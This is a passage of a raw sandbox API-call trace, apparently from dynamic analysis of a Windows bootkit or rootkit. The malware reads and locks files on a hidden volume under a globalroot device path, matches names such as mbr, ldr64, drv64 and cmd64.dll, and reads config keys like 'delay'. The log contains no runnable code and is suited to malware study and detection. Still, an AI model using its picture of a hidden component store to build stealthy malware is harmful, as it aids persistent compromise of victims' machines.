ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.553] KeLeaveCriticalRegion () [0127.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.553] ReleaseMutex (hMutex=0xf0) returned 1 [0127.553] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.553] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.554] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.554] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.554] KeEnterCriticalRegion () [0127.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.554] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.554] IdePortDispatch () returned 0x103 [0127.554] KeWaitForMutexObject () returned 0x0 [0127.554] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.554] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.554] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.554] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.554] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.554] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.554] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.554] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.554] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.554] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.554] KeLeaveCriticalRegion () [0127.554] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.555] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.555] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.555] KeEnterCriticalRegion () [0127.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.555] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.555] IdePortDispatch () returned 0x103 [0127.555] KeWaitForMutexObject () returned 0x0 [0127.555] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.555] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.555] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.555] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.555] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.555] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.555] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.555] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.555] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.555] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.555] KeLeaveCriticalRegion () [0127.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.556] ReleaseMutex (hMutex=0x100) returned 1 [0127.556] Sleep (dwMilliseconds=0x2bf20) [0127.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f3a6330, dwHighDateTime=0x1d24fa4)) [0127.567] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.567] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.567] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.567] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.567] KeEnterCriticalRegion () [0127.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.567] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.567] IdePortDispatch () returned 0x103 [0127.568] KeWaitForMutexObject () returned 0x0 [0127.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.568] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.568] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.568] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.568] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.568] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.568] KeLeaveCriticalRegion () [0127.568] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.568] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.568] KeEnterCriticalRegion () [0127.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.568] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.568] KeLeaveCriticalRegion () [0127.568] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.568] KeEnterCriticalRegion () [0127.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.568] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.568] IdePortDispatch () returned 0x103 [0127.568] KeWaitForMutexObject () returned 0x0 [0127.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.569] KeLeaveCriticalRegion () [0127.569] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.569] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.569] KeEnterCriticalRegion () [0127.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b28000 [0127.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.569] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.569] IdePortDispatch () returned 0x103 [0127.569] KeWaitForMutexObject () returned 0x0 [0127.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.569] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.569] IdePortDispatch () returned 0x103 [0127.570] KeWaitForMutexObject () returned 0x0 [0127.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.570] KeLeaveCriticalRegion () [0127.570] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.570] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.570] KeEnterCriticalRegion () [0127.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.570] KeLeaveCriticalRegion () [0127.570] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.571] KeEnterCriticalRegion () [0127.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.571] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.571] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb4c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.571] KeLeaveCriticalRegion () [0127.571] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.571] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.571] KeEnterCriticalRegion () [0127.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.571] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.571] KeLeaveCriticalRegion () [0127.571] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.571] ReleaseMutex (hMutex=0xf0) returned 1 [0127.571] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.571] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.571] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.571] KeEnterCriticalRegion () [0127.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.571] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.571] IdePortDispatch () returned 0x103 [0127.572] KeWaitForMutexObject () returned 0x0 [0127.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.572] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.572] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.572] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.572] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.572] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e17f0 [0127.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.572] KeLeaveCriticalRegion () [0127.572] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.572] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.572] KeEnterCriticalRegion () [0127.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.572] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.572] KeLeaveCriticalRegion () [0127.572] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.572] KeEnterCriticalRegion () [0127.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.572] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.572] IdePortDispatch () returned 0x103 [0127.572] KeWaitForMutexObject () returned 0x0 [0127.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.573] KeLeaveCriticalRegion () [0127.573] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.573] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.573] KeEnterCriticalRegion () [0127.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.573] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b29000 [0127.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.573] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.573] IdePortDispatch () returned 0x103 [0127.573] KeWaitForMutexObject () returned 0x0 [0127.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.573] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.573] IdePortDispatch () returned 0x103 [0127.574] KeWaitForMutexObject () returned 0x0 [0127.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.574] KeLeaveCriticalRegion () [0127.574] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.574] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.574] KeEnterCriticalRegion () [0127.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.574] KeLeaveCriticalRegion () [0127.574] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.574] KeEnterCriticalRegion () [0127.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.575] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.575] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.575] KeLeaveCriticalRegion () [0127.575] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.575] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.575] KeEnterCriticalRegion () [0127.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.575] ExFreePoolWithTag (P=0xfffffa80037e17f0, Tag=0x0) [0127.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.575] KeLeaveCriticalRegion () [0127.575] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.575] ReleaseMutex (hMutex=0xf0) returned 1 [0127.575] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.575] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.575] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.575] KeEnterCriticalRegion () [0127.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.575] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.575] IdePortDispatch () returned 0x103 [0127.575] KeWaitForMutexObject () returned 0x0 [0127.576] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.576] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.576] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.576] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.576] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.576] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.576] KeLeaveCriticalRegion () [0127.576] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.576] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.576] KeEnterCriticalRegion () [0127.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.576] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.576] KeLeaveCriticalRegion () [0127.576] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.576] KeEnterCriticalRegion () [0127.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.576] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.576] IdePortDispatch () returned 0x103 [0127.576] KeWaitForMutexObject () returned 0x0 [0127.576] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.576] KeLeaveCriticalRegion () [0127.576] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.577] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.577] KeEnterCriticalRegion () [0127.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.577] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2a000 [0127.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, 